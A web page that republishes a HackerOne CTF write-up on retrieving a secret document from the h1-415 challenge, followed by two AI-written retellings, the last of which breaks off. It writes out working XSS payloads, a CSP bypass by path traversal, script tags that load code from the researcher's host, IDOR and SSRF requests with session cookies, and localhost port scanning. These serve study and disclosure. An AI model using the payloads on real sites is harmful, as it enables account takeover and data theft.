Skip to content
XSS Disclosed report Advanced

[h1-415 2020] My writeup on how to retrieve the special secret document

The report describes a chain of vulnerabilities in a CTF challenge that allowed an unprivileged attacker to retrieve a secret document. The attacker bypassed authentication, exploited a blind XSS with a CSP bypass, used an IDOR to inject a payload, and leveraged SSRF to access the Chrome debugger API, ultimately discovering the secret document's URL.

blaklis Follow

Originally disclosed on HackerOne

Critical 9.0 View original
  • Triaged in under an hour
  • Fixed in 18 days
  • Disclosed after 18 days

Summary:

An attacker without any privilege is able to retrieve the special secret document, hosted on the https://h1-415.h1ctf.com website. To do so, multiple steps are required :

  1. The authentication must be bypassed to have a licensed account;
  2. The support team portal is vulnerable to a blind XSS,;
  3. The CSP rules are bypassable using sort of path traversal to render other javascript files on githack CDN.
  4. A direct object reference allow to modify data from every users from the support panel, without filtering of characters.
  5. The document converter is vulnerable to SSRF if the user name contains HTML tags.
  6. The chrome debugger API is opened, allowing to dump data from the browser used by the document converter.

Here are the steps to finally get this special document !

Initially

You can register an account on the application. After the registration process, you receive a QRCode which contains two hexadecimal blobs separated by a colon. This QRCode is used in case you forgot your password, and allow to bypass the login process.

The QRCode first blob is simply the username, in hexadecimal ASCII. By removing the second blob and trying to use the QRCode, the error message indicates that it's a code, that is necessary and correctly validated to allow being logged in with this email.

From a simple user without license, fields seems to be well escaped, and the converter seems to works well, without much possibility to exploit anything. Fields (usernames, etc) are correctly filtered; special characters are deleted from those fields.

We can see from the main page that the Jobert's mail address ([email protected]) is leaking from the data-email attribute of its message.

Authentication bypass thanks to data filtering

As we saw, data are filtered and special characters are deleted from users information. By creating a user with the [email protected]< email, the registration process is successful; however, thanks to the data filtering, the generated QRCode contains the real [email protected] email instead of the created one, with a code that also matches well.

By using this QRcode on the https://h1-415.h1ctf.com/recover endpoint, we can now login as Jobert to have a more privileged user, that can use the support endpoint.

We can't change information for this account, and the license seems to be expired, so we can't even use the upload functionality.

Blind XSS & CSP bypass on the support endpoint

The support endpoint seems to be a chatbot (or a real employee? who knows...), and sending some XSS payloads demonstrates easily that at least the frontend part doesn't sanitize messages at all.

By sending the "quit" message, we're asked to rate the overall communication. If the note is set to the minimum - 1 star - we're notified that an employee will check the discussion to see what happened.

Inputting a XSS payload and then quitting with a bad rating for this discussion, we can trap an employee to make him execute some javascript; however, a Content-Security-Policy rules is in place, containing the following :

It also does not leak the referrer, thanks to the Referrer-Policy header set to strict-origin-when-cross-origin.

As we can see, we're able to load javascript files from https://raw.githack.com/mattboldt/typed.js/master/lib/ URL, and it's child. I created a new repo on Github, which contains some of my javascript payload. Here is an example, that extracts the current URL to my own server :

https://github.com/Blaklis/typed.js/blob/master/lib/yolo.js

As Githack serves GItHub files directly, as a CDN, and that it treats ..%2f as a traversal, we can simply point to our files using the following URL :

https://raw.githack.com/mattboldt/typed.js/master/lib/..%2f..%2f..%2f..%2fBlaklis/typed.js/master/lib//yolo.js

For the browser, this URL is a child of https://raw.githack.com/mattboldt/typed.js/master/lib/ and completely respects the CSP rule.

Final payload : <script src="https://raw.githack.com/mattboldt/typed.js/master/lib/..%252f..%252f..%252f..%252fBlaklis/typed.js/master/lib//yolo.js"/>

This leaks a URL that is directly accessible - even unauthenticated - to the support panel for this very own discussion, for example https://h1-415.h1ctf.com/support/review/5529c168769ff7e096bb40cc9438a5295692bb567844c837bb5fae37980612ee

Direct object reference allows to edit every users' information without filtering

When we're on the support page, we can see a form that allow to change users' information. This form also contains a user_id field, which is not checked at all. Consequently, we're able to change every users name through this page. Also, we can see that there's no filtering on characters on this page, allowing to includes some XSS payload in the name, while it wasn't possible for the public /settings endpoint.

The jobert's account can't be modified, even with this method. We can so create an account, and then edit it through this way to have some forbidden characters in its name.

A payload example, considering we own the user 16 :

POST /support/review/85c8e222848012b567fed595a6bdcb3b57ce6bce4716d132e8361536fcc29031 HTTP/1.1
[...]
Cookie: _csrf_token=312edf8cc51423f130df5a09c958c4855eff90c7; session=.eJwli8sOgjAQRb_FWRPSp5au-Ah3xpA6zCiBFkPrghj_3RpXJ-fk3jcMmDceyjpTAg9aKhrZIVpplGapxcg2iA4769A4a4m5E3iCBvARCvjLtQGKYVrq-baEeZlym6Ztr-zvv97iGuv6lWkbyv4k8PpvKcQqcKZcpNLGHg_w-QKRNi0N.XiDmKA.o5lphYOx41pDSbeAm37D7wA9grg

name=<script src="http://blakl.is/pwn.js"/>&user_id=16&_csrf_token=312edf8cc51423f130df5a09c958c4855eff90c7

SSRF in document conversion

The document converter allow to upload images to get PDF as output. The PDF also contains the owner's name, and is vulnerable to a XSS when being interpreted by the converter. This allows to make some redirect using a <script>document.location.href='//website'</script> payload, for example. It also interprets iframe, which allow to inspects which ports are opened locally easily.

I saw that ~300 iframes in the same document is possible without having a timeout from the converter. This allow to create a lot of iframes to localhost, with different ports, to see if it outputs something. Multiple ports have been found open, and notably :

  • 80
  • 443
  • 3000
  • 9222
  • 13398

The 9222 port responds with a "Inspectable web contents" message, which corresponds to the debugger API from Chrome, which is a pretty interesting target.

Here is an example payload that sets the payload in the name of the user 16 :

`` POST /support/review/85c8e222848012b567fed595a6bdcb3b57ce6bce4716d132e8361536fcc29031 HTTP/1.1 [...] Cookie: _csrf_token=312edf8cc51423f130df5a09c958c4855eff90c7; session=.eJwli8sOgjAQRb_FWRPSp5au-Ah3xpA6zCiBFkPrghj_3RpXJ-fk3jcMmDceyjpTAg9aKhrZIVpplGapxcg2iA4769A4a4m5E3iCBvARCvjLtQGKYVrq-baEeZlym6Ztr-zvv97iGuv6lWkbyv4k8PpvKcQqcKZcpNLGHg_w-QKRNi0N.XiDmKA.o5lphYOx41pDSbeAm37D7wA9grg

name=<iframe src="http://localhost:9222"/>&user_id=16&_csrf_token=312edf8cc51423f130df5a09c958c4855eff90c7


The user 16 is now able to make a document conversion. The output document will contains an iframe with data from http://localhost:9222.

# Chrome debugger API opened

The Chrome debugger API is enabled and can be accessed through the SSRF from the previous step. There are both a Websocket API (complete) and a JSON API (limited) that allows to retrieve data from this interface.

By using the JSON api, hitting the */json/list* endpoint, we can see every tabs that are currently opened, with associated URLs and titles. Here is a sample of data returned : 

[ { "description": "", "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/06B5383E01A67809265501A45699022A", "id": "06B5383E01A67809265501A45699022A", "title": "My Docz Converter", "type": "page", "url":"http://localhost:3000/converter/de5be989b6ba5bf281074073611b12a2cef1fab3fb24f99decc6be773fce5927.png?user_name=Jobert%3Cscript%3Edocument.location.href%3D%27http%3A//localhost%3A9222/json%27%3C/script%3E", "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/06B5383E01A67809265501A45699022A"}, { "description": "", "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/40B45AD7E01052E5E79BE278D1C6F03C", "id": "40B45AD7E01052E5E79BE278D1C6F03C", "title": "My Docz Converter", "type": "page", "url": "http://localhost:3000/login?secret_document=0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf", "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/40B45AD7E01052E5E79BE278D1C6F03C"}, { "description": "", "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/69206B536A6D44F4950C2BE822522BF8", "id": "69206B536A6D44F4950C2BE822522BF8", "title": "about:blank", "type": "page", "url": "about:blank", "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/69206B536A6D44F4950C2BE822522BF8"}, { "description": "", "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/37FC54275A3B9966EE6307427568FF34", "id": "37FC54275A3B9966EE6307427568FF34", "title": "about:blank", "type": "page", "url": "about:blank", "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/37FC54275A3B9966EE6307427568FF34"}, { "description": "", "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/D06A13E7032D841AD5B56B06F055B4B9", "id": "D06A13E7032D841AD5B56B06F055B4B9", "title": "about:blank", "type": "page", "url": "about:blank", "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/D06A13E7032D841AD5B56B06F055B4B9"} ]


As we can see, there is a *http://localhost:3000/login?secret_document=0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf* tab that is opened. By retrieving the secret document name, and trying to access it as a normal document, we can see the secret document here : 

*https://h1-415.h1ctf.com/documents/0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf*

The flag is *h1ctf{y3s_1m_c0sm1c_n0w}*


This was a nice challenge, thank you for that!

Best regards,
Blaklis

## Impact

Attackers are able to access the very secret document from Jobert!

The original report as published on HackerOne, by blaklis. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

The target is the h1-415 CTF application, reachable at https://h1-415.h1ctf.com. It is a document service: users register, receive a QR code used for password recovery, and can convert uploaded images into PDFs. The PDF carries the owner's name. A support endpoint lets a user chat with what the report describes as a chatbot or a real employee, and a support review page lets staff edit user information. The goal of the challenge was to retrieve a special secret document hosted on the same site.

The report walks through a chain of six weaknesses that, combined, lead from an unauthenticated visitor to the secret document. Each step on its own is limited; the value is in chaining them.

Setup

No special tooling is described. The researcher registers a normal account on the application. After registration the user receives a QR code containing two hexadecimal blobs separated by a colon. That QR code is the password-recovery mechanism and is meant to let a user bypass the login process when they have forgotten their password.

The first blob of the QR code is simply the username encoded as hexadecimal ASCII. Removing the second blob and trying to use the QR code produces an error message saying that a code is necessary and must be correctly validated before the user can be logged in with that email.

From a plain account without a licence, the fields appear well escaped and the converter appears to work correctly. Usernames and similar fields are filtered: special characters are deleted from them.

On the main page, Jobert's mail address ([redacted]) leaks from the data-email attribute of its message.

Finding it

The first observation is the leak of Jobert's email in the page source. The second is the behaviour of the registration filter: special characters are stripped from user information. The third is the QR code format, which encodes the username in hex and relies on a second blob as a validation code.

Putting these together suggests that if a user could be created with an email that, after filtering, becomes Jobert's email, the generated QR code would contain the real Jobert email together with a code that validates correctly. The filter would do the work of turning the attacker's input into the privileged identity.

Exploitation

Step 1: Authentication bypass through data filtering

Creating a user with the email [redacted]< succeeds at registration. Because special characters are deleted, the stored email becomes [redacted], and the QR code generated for this account contains the real Jobert email with a code that also matches.

Using that QR code on the recover endpoint, https://h1-415.h1ctf.com/recover, logs the attacker in as Jobert, a more privileged user who can use the support endpoint.

Limits noted by the researcher: the account's information cannot be changed, and the licence appears expired, so the upload functionality is not available even as Jobert.

Step 2: Blind XSS and CSP bypass on the support endpoint

The support endpoint behaves like a chatbot (or a real employee). Sending XSS payloads shows that at least the frontend does not sanitise messages at all.

Sending the message quit triggers a request to rate the overall communication. Setting the rating to the minimum, one star, notifies the user that an employee will check the discussion to see what happened. Sending an XSS payload and then quitting with a bad rating therefore traps an employee into executing JavaScript.

A Content-Security-Policy is in place with the following rules:

Text
default-src 'self'; object-src 'none'; script-src 'self' https://raw.githack.com/mattboldt/typed.js/master/lib/; img-src data: * *

The policy also does not leak the referrer, thanks to the Referrer-Policy header set to strict-origin-when-cross-origin.

The script-src directive allows loading JavaScript from https://raw.githack.com/mattboldt/typed.js/master/lib/ and its children. The researcher created a GitHub repository containing JavaScript payloads. An example payload extracts the current URL and sends it to the researcher's own server:

Text
https://github.com/Blaklis/typed.js/blob/master/lib/yolo.js

Githack serves GitHub files directly as a CDN and treats ..%2f as a traversal, so files outside the allowed path can be reached with the following URL:

Text
https://raw.githack.com/mattboldt/typed.js/master/lib/..%2f..%2f..%2f..%2fBlaklis/typed.js/master/lib//yolo.js

For the browser, this URL is a child of https://raw.githack.com/mattboldt/typed.js/master/lib/ and fully respects the CSP rule.

The final payload is:

HTML
<script src="https://raw.githack.com/mattboldt/typed.js/master/lib/..%252f..%252f..%252f..%252fBlaklis/typed.js/master/lib//yolo.js"/>

This leaks a URL that is directly accessible, even unauthenticated, to the support panel for that specific discussion, for example:

Text
https://h1-415.h1ctf.com/support/review/[redacted]

Step 3: Direct object reference to edit any user's information without filtering

The support page contains a form that allows changing user information. The form includes a user_id field that is not checked at all, so any user's name can be changed through this page. There is also no character filtering on this page, which allows XSS payloads in the name, something that was not possible through the public /settings endpoint.

Jobert's account cannot be modified even with this method, so the researcher creates an account and edits it this way to place forbidden characters in its name.

An example payload, assuming the attacker owns user 16:

HTTP
POST /support/review/[redacted] HTTP/1.1
[...]
Cookie: _csrf_token=[redacted]; [redacted]

name=<script src="http://blakl.is/pwn.js"/>&user_id=16&_csrf_token=[redacted]

The user_id parameter selects the victim account, and the name parameter carries the unfiltered payload.

Step 4: SSRF in document conversion

The document converter accepts image uploads and returns a PDF. The PDF also contains the owner's name and is vulnerable to XSS when interpreted by the converter. This allows redirects with a payload such as <script>document.location.href='//website'</script>. The converter also interprets iframes, which makes it easy to inspect which local ports are open.

Around 300 iframes in the same document are possible without the converter timing out. This allows creating many iframes pointing at localhost on different ports to see whether anything is returned. Several ports were found open:

  • 80
  • 443
  • 3000
  • 9222
  • 13398

Port 9222 responds with an Inspectable web contents message, which corresponds to the Chrome debugger API, an interesting target.

An example payload that sets the payload in the name of user 16:

HTTP
POST /support/review/[redacted] HTTP/1.1
[...]
Cookie: _csrf_token=[redacted]; [redacted]

name=<iframe src="http://localhost:9222"/>&user_id=16&_csrf_token=[redacted]

User 16 can now perform a document conversion. The output document contains an iframe with data from http://localhost:9222.

Step 5: Chrome debugger API opened

The Chrome debugger API is enabled and reachable through the SSRF from the previous step. It exposes both a WebSocket API (complete) and a JSON API (limited) for retrieving data from the interface.

Using the JSON API and hitting the /json/list endpoint lists every open tab with its URL and title. A sample of the returned data:

JSON
[ {   "description": "",   "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/[redacted]",   "id": "[redacted]",   "title": "My Docz Converter",   "type": "page",   "url":"http://localhost:3000/converter/[redacted].png?user_name=Jobert%3Cscript%3Edocument.location.href%3D%27http%3A//localhost%3A9222/json%27%3C/script%3E",   "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/[redacted]"}, {   "description": "",   "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/[redacted]",   "id": "[redacted]",   "title": "My Docz Converter",   "type": "page",   "url": "http://localhost:3000/login?secret_document=[redacted].pdf",   "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/[redacted]"}, {   "description": "",   "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/[redacted]",   "id": "[redacted]",   "title": "about:blank",   "type": "page",   "url": "about:blank",   "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/[redacted]"}, {   "description": "",   "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/[redacted]",   "id": "[redacted]",   "title": "about:blank",   "type": "page",   "url": "about:blank",   "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/[redacted]"}, {   "description": "",   "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/[redacted]",   "id": "[redacted]",   "title": "about:blank",   "type": "page",   "url": "about:blank",   "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/[redacted]"} ]

One tab is http://localhost:3000/login?secret_document=[redacted].pdf. Retrieving the secret document name and accessing it as a normal document reveals the secret document at:

Text
https://h1-415.h1ctf.com/documents/[redacted].pdf

The flag is h1ctf{y3s_1m_c0sm1c_n0w}.

Root cause

Several independent mistakes combine:

  1. The registration filter strips special characters from the email, so an input such as [redacted]< collapses to an existing privileged identity. The QR code is then generated for that identity with a valid code, so the recovery flow authenticates the attacker as Jobert.
  2. The support chat does not sanitise messages on the frontend, and the CSP allows scripts from a third-party CDN path. Githack's traversal handling (..%2f) lets an attacker host a script outside the intended directory while the browser still sees the URL as a child of the allowed path.
  3. The support review form trusts the user_id parameter and does not filter characters in the name, so any user can be edited and XSS payloads can be stored where the public settings endpoint would have rejected them.
  4. The Chrome debugger API listens on port 9222 and is reachable from the converter, exposing /json/list and the WebSocket debugger URLs.

Impact

An attacker with no privileges can retrieve the special secret document hosted on the site. The chain requires the ability to register an account, to reach the support endpoint, and to trigger a document conversion. The report notes that Jobert's account cannot be modified even through the support form, and that the licence appears expired, so the upload functionality is not directly usable; .

Fix

No fixes are described in the report. The weaknesses that would need addressing are: validating the email against the original input rather than the filtered value, binding the recovery code to the exact stored identity, sanitising support chat messages, tightening the CSP so it does not trust a third-party CDN path that permits traversal, checking user_id on the support review form and filtering characters there, escaping the owner's name in the converter, and not exposing the Chrome debugger API on a port reachable from the converter.

Variants to test

  • Registration filters that strip characters: try inputs that collapse to an existing privileged email, and check whether the recovery code is generated for the filtered value. A positive result is a QR code or recovery code that authenticates as the privileged account.
  • CSP rules that allow a CDN path: check whether the CDN normalises ..%2f or ..%252f and whether the browser still treats the resulting URL as a child of the allowed path. A positive result is a script loading from outside the intended directory while the CSP is satisfied.
  • Support or review forms with a user_id parameter: try changing it to another user's id and submitting a name with HTML. A positive result is the victim's name changing and the payload being stored unfiltered.
  • Document converters that render the owner's name: submit a name containing <script> or <iframe> and check whether the converter executes it. A positive result is a redirect or an iframe fetch from the converter's browser.
  • Local port scanning through iframes: submit a document with many iframes pointing at localhost ports and look for responses. A positive result is a port returning a recognisable banner such as Inspectable web contents.
  • Chrome debugger API on port 9222: request /json/list through the SSRF and inspect the returned tabs. A positive result is a list of open tabs with URLs and titles, including any secret document paths.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 20 min read.

What happened, in plain words

This is the story of a security challenge called h1-415. The target is a website at https://h1-415.h1ctf.com that works like a small document service. People can create an account, they get a QR code they can use if they forget their password, and they can upload images that the site turns into PDF files. Each PDF carries the name of the person who made it. There is also a support page where you can chat with what the report calls a chatbot or a real employee, and a review page where staff can edit user information. Somewhere on the same site sits a special secret document, and the whole point of the challenge was to get hold of it.

No single mistake was enough. The researcher found six weaknesses and joined them together like stepping stones. Each one on its own is limited, but together they lead from a visitor with no account all the way to the secret document. The report walks through them in order, and so does this article.

Before going further, a few words on the vocabulary that will keep coming back.

  • A web application is a program that runs on a server and that you use through your browser. When you click a button, your browser sends a request to the server, the server does something, and it sends a response back.
  • An endpoint is one specific address on that server that does one specific job. Think of a large office building: the building is the application, and each endpoint is a particular desk you can walk up to. /recover is the desk that handles password recovery, /settings is the desk that handles your profile, and so on.
  • A parameter is a piece of information you hand to an endpoint, like the name you type into a form. It travels either in the address (the part after a ?) or in the body of the request.
  • A cookie is a small note that the server gives your browser and that your browser shows back on every later request. It is how the server remembers who you are between page loads. A session cookie is the note that says "this is the logged-in user".
  • A token is a value that proves something, usually that a request really comes from your own browser and not from a malicious page. A CSRF token (Cross-Site Request Forgery token) is a random value the site puts in its forms so that only forms it generated can be submitted.
  • Hexadecimal is just a way of writing data using the characters 0 to 9 and a to f. Every byte of data can be written as two hex characters. It is a common way to encode things that must survive being copied around.
  • XSS (Cross-Site Scripting) means getting your own JavaScript code to run inside someone else's browser while they are viewing the target site. JavaScript is the programming language browsers use to make pages interactive, so running your code in someone else's browser means you can act as them on that page.
  • CSP (Content-Security-Policy) is a rule the server sends to the browser saying which sources of content are allowed. It is like a guest list at a door: if a script comes from a source not on the list, the browser refuses to run it.
  • SSRF (Server-Side Request Forgery) means making the server itself send a request somewhere, usually to an address the attacker cannot reach directly, such as an internal service on the same machine.
  • An iframe is a way to embed one web page inside another. The outer page shows a little window, and inside that window another page loads.
  • An API (Application Programming Interface) is a set of addresses a program offers so that other programs can talk to it. When a browser talks to a service through an API, it sends requests to specific addresses and gets structured data back, often in a format called JSON.
  • JSON is a text format for structured data, made of names and values in curly braces and square brackets. It is easy for programs to read.
  • A CDN (Content Delivery Network) is a service that stores copies of files and serves them quickly from many places. Here, a service called Githack acts as a CDN for files stored on GitHub.
  • Localhost is the name a computer uses to talk to itself. A service listening on a localhost port is only reachable from that same machine, not from the internet.
  • A port is a numbered door on a computer. One machine can run many services, each on its own port. Port 80 is the usual web port, 443 the usual secure web port, and 9222 is often used by the Chrome browser's debugging interface.

With that in mind, here is the chain, step by step.

The starting point

The researcher registers a normal account on the application. After registration, the user receives a QR code containing two hexadecimal blobs separated by a colon. This QR code is the password-recovery mechanism: it is meant to let a user who has forgotten their password get back in without typing the password.

The first blob of the QR code is simply the username written in hexadecimal ASCII. ASCII is the standard way of representing text as numbers, so "Jobert" becomes a short run of hex characters. The second blob is a code that the server checks. If you remove the second blob and try to use the QR code anyway, the error message says that a code is necessary and must be correctly validated before you can be logged in with that email. In other words, the server does not trust the username alone; it also wants the matching code.

From a plain account without a licence, the fields look well escaped, and the converter seems to work correctly. Usernames and similar fields are filtered: special characters are deleted from them. "Escaped" here means that characters with a special meaning in HTML, such as < and >, are turned into harmless text so the browser shows them instead of treating them as code.

On the main page, one thing stands out: Jobert's mail address ([redacted]) leaks from the data-email attribute of its message. An attribute is a little label attached to an element in the page's HTML. If the page carries an email address in an attribute, anyone who opens the page source can read it.

Finding the way in

Three observations come together.

  1. Jobert's email is visible in the page source.
  2. The registration filter strips special characters from user information.
  3. The QR code encodes the username in hex and relies on a second blob as a validation code.

Put together, these suggest a trick. If a user could be created with an email that, after filtering, becomes Jobert's email, then the QR code generated for that account would contain the real Jobert email together with a code that validates correctly. The filter would do the work of turning the attacker's input into the privileged identity. The attacker does not need to guess any secret; the site's own cleaning step produces the privileged value.

Step 1: getting in as Jobert

Creating a user with the email [redacted]< succeeds at registration. The trailing < is a special character, so the filter deletes it. The stored email becomes [redacted], and the QR code generated for this account contains the real Jobert email with a code that also matches.

Using that QR code on the recover endpoint, https://h1-415.h1ctf.com/recover, logs the attacker in as Jobert, a more privileged user who can use the support endpoint.

Two limits are worth noting. The account's information cannot be changed, and the licence appears expired, so the upload functionality is not available even as Jobert.

Why this works: the recovery code is generated for the filtered value, not for the original input. The server checks the code against what it stored, and what it stored is Jobert's identity. The attacker's input and Jobert's identity became the same string after cleaning, so the code that was issued for the attacker's account is also valid for Jobert's.

Step 2: trapping an employee with a blind XSS, and getting around the CSP

The support endpoint behaves like a chatbot, or perhaps a real employee. Sending XSS payloads shows that at least the frontend does not sanitise messages at all. "Frontend" means the part of the application that runs in the browser; "sanitise" means cleaning input so that code hidden in it cannot run.

Sending the message quit triggers a request to rate the overall communication. Setting the rating to the minimum, one star, notifies the user that an employee will check the discussion to see what happened. Sending an XSS payload and then quitting with a bad rating therefore traps an employee into executing JavaScript. This is called blind XSS because the attacker does not see the result directly: the code runs in someone else's browser, later, when that person opens the discussion.

A Content-Security-Policy is in place with the following rules:

Text
default-src 'self'; object-src 'none'; script-src 'self' https://raw.githack.com/mattboldt/typed.js/master/lib/; img-src data: * *

Line by line:

  • default-src 'self' sets the fallback rule for any kind of content not covered by a more specific rule: only the site's own origin is allowed. 'self' means the same site that served the page.
  • object-src 'none' forbids embedded objects entirely.
  • script-src 'self' https://raw.githack.com/mattboldt/typed.js/master/lib/ says scripts may come from the site itself, or from that one path on raw.githack.com. This is the interesting part: a third-party CDN path is trusted.
  • img-src data: * * allows images from inline data and from anywhere.

The policy also does not leak the referrer, thanks to the Referrer-Policy header set to strict-origin-when-cross-origin. The referrer is the address of the page you came from; this header tells the browser to send only a limited version of it, so an attacker watching their own server does not learn the full URL of the page the victim was on.

The script-src directive allows loading JavaScript from https://raw.githack.com/mattboldt/typed.js/master/lib/ and its children. The researcher created a GitHub repository containing JavaScript payloads. An example payload extracts the current URL and sends it to the researcher's own server:

Text
https://github.com/Blaklis/typed.js/blob/master/lib/yolo.js

This is a normal GitHub page for a file in a repository. The point of putting the payload there is that Githack can serve GitHub files directly as a CDN, and the CSP already trusts a Githack path.

Githack treats ..%2f as a traversal, so files outside the allowed path can be reached with the following URL:

Text
https://raw.githack.com/mattboldt/typed.js/master/lib/..%2f..%2f..%2f..%2fBlaklis/typed.js/master/lib//yolo.js

Line by line:

  • The URL starts with the trusted prefix https://raw.githack.com/mattboldt/typed.js/master/lib/, which is exactly what the CSP allows.
  • Then come four ..%2f sequences. %2f is the URL-encoded form of the slash /. So ..%2f means "go up one directory". Four of them climb four levels up from the trusted directory.
  • After climbing, the path points into Blaklis/typed.js/master/lib//yolo.js, which is the researcher's own file.

For the browser, this URL is a child of https://raw.githack.com/mattboldt/typed.js/master/lib/ and fully respects the CSP rule. The browser only looks at the beginning of the URL when checking the guest list; the server, Githack, interprets the ..%2f parts and serves a file from somewhere else. This mismatch between how the browser reads the URL and how the server reads it is the heart of the bypass.

The final payload is:

HTML
<script src="https://raw.githack.com/mattboldt/typed.js/master/lib/..%252f..%252f..%252f..%252fBlaklis/typed.js/master/lib//yolo.js"/>

Line by line:

  • <script src="..."/> is an HTML tag that tells the browser to load and run the JavaScript file at the given address.
  • The address is the same as before, but each %2f is now written as %252f. %25 is the URL-encoded form of the percent sign %. So %252f decodes once to %2f, and only then to /.

This leaks a URL that is directly accessible, even unauthenticated, to the support panel for that specific discussion, for example:

Text
https://h1-415.h1ctf.com/support/review/[redacted]

That long string at the end is an identifier for the discussion. Because the page can be opened without logging in, the researcher can read what the trapped employee saw, and the payload can send information back to the researcher's server.

Step 3: editing any user's information through a direct object reference

The support page contains a form that allows changing user information. The form includes a user_id field that is not checked at all, so any user's name can be changed through this page. This is called an Insecure Direct Object Reference (IDOR): the form takes an identifier from the user and trusts it, instead of checking that the logged-in person is allowed to touch that particular record. It is like a hotel receptionist who changes the guest name on any room's file just because you wrote the room number on a form.

There is also no character filtering on this page, which allows XSS payloads in the name, something that was not possible through the public /settings endpoint. The public settings page cleans the name; the support review page does not.

Jobert's account cannot be modified even with this method, so the researcher creates an account and edits it this way to place forbidden characters in its name. The goal is to have a name that contains HTML, because the converter will later render that name.

An example payload, assuming the attacker owns user 16:

HTTP
POST /support/review/[redacted] HTTP/1.1
[...]
Cookie: _csrf_token=[redacted]; [redacted]

name=<script src="http://blakl.is/pwn.js"/>&user_id=16&_csrf_token=[redacted]

Line by line:

  • POST /support/review/[redacted] HTTP/1.1 is the request line. POST means "I am sending data to the server". The path points at the review page for a specific discussion, identified by the long hex string. HTTP/1.1 is the version of the protocol.
  • [...] stands for headers the report does not show.
  • `Cookie: _csrf_token=[redacted]; [redacted] carries the two cookies. The CSRF token proves the request comes from a form the site generated; the session cookie identifies the logged-in user.
  • The blank line separates headers from the body.
  • name=<script src="http://blakl.is/pwn.js"/>&user_id=16&_csrf_token=[redacted] is the body, written like a form submission. name is the new name, and it contains a script tag pointing at the researcher's server. user_id=16 selects which account is edited. The _csrf_token is repeated in the body, as forms usually do.

The user_id parameter selects the victim account, and the name parameter carries the unfiltered payload. Because the server does not check either one properly, the name of user 16 now contains HTML that the site will later render.

Step 4: making the server fetch internal addresses (SSRF)

The document converter accepts image uploads and returns a PDF. The PDF also contains the owner's name and is vulnerable to XSS when interpreted by the converter. In other words, the converter builds a page that includes the owner's name, and if the name contains HTML, that HTML runs inside the converter's own browser.

This allows redirects with a payload such as <script>document.location.href='//website'</script>. document.location.href is the browser's way of saying "the current address"; assigning to it makes the browser navigate somewhere else.

The converter also interprets iframes, which makes it easy to inspect which local ports are open. An iframe pointing at http://localhost:9222 makes the converter's browser try to load that address from the machine it runs on. If something answers, the iframe shows it.

Around 300 iframes in the same document are possible without the converter timing out. This allows creating many iframes pointing at localhost on different ports to see whether anything is returned. It is a port scan performed by the server itself, one iframe per port. Several ports were found open:

  • 80
  • 443
  • 3000
  • 9222
  • 13398

Port 9222 responds with an Inspectable web contents message, which corresponds to the Chrome debugger API, an interesting target. The Chrome debugger API is the interface a developer tool uses to inspect and control a running Chrome browser. If an attacker can reach it, they can see what the browser is doing.

An example payload that sets the payload in the name of user 16:

HTTP
POST /support/review/[redacted] HTTP/1.1
[...]
Cookie: _csrf_token=[redacted]; [redacted]

name=<iframe src="http://localhost:9222"/>&user_id=16&_csrf_token=[redacted]

Line by line:

  • The request line and headers are the same as in the previous step: same review page, same cookies.
  • name=<iframe src="http://localhost:9222"/> sets the name to an iframe tag whose source is the local debugger port. When the converter renders this name, its browser will try to load http://localhost:9222 from inside the server.
  • user_id=16 again selects the account being edited.
  • _csrf_token=[redacted] is the form token.

User 16 can now perform a document conversion. The output document contains an iframe with data from http://localhost:9222. The server has been made to fetch an address that only it can reach, which is exactly what SSRF means.

Step 5: reading the browser's open tabs through the debugger API

The Chrome debugger API is enabled and reachable through the SSRF from the previous step. It exposes both a WebSocket API (complete) and a JSON API (limited) for retrieving data from the interface. A WebSocket is a two-way connection that stays open, which is why it offers more than the simple request-and-response JSON API.

Using the JSON API and hitting the /json/list endpoint lists every open tab with its URL and title. A sample of the returned data:

JSON
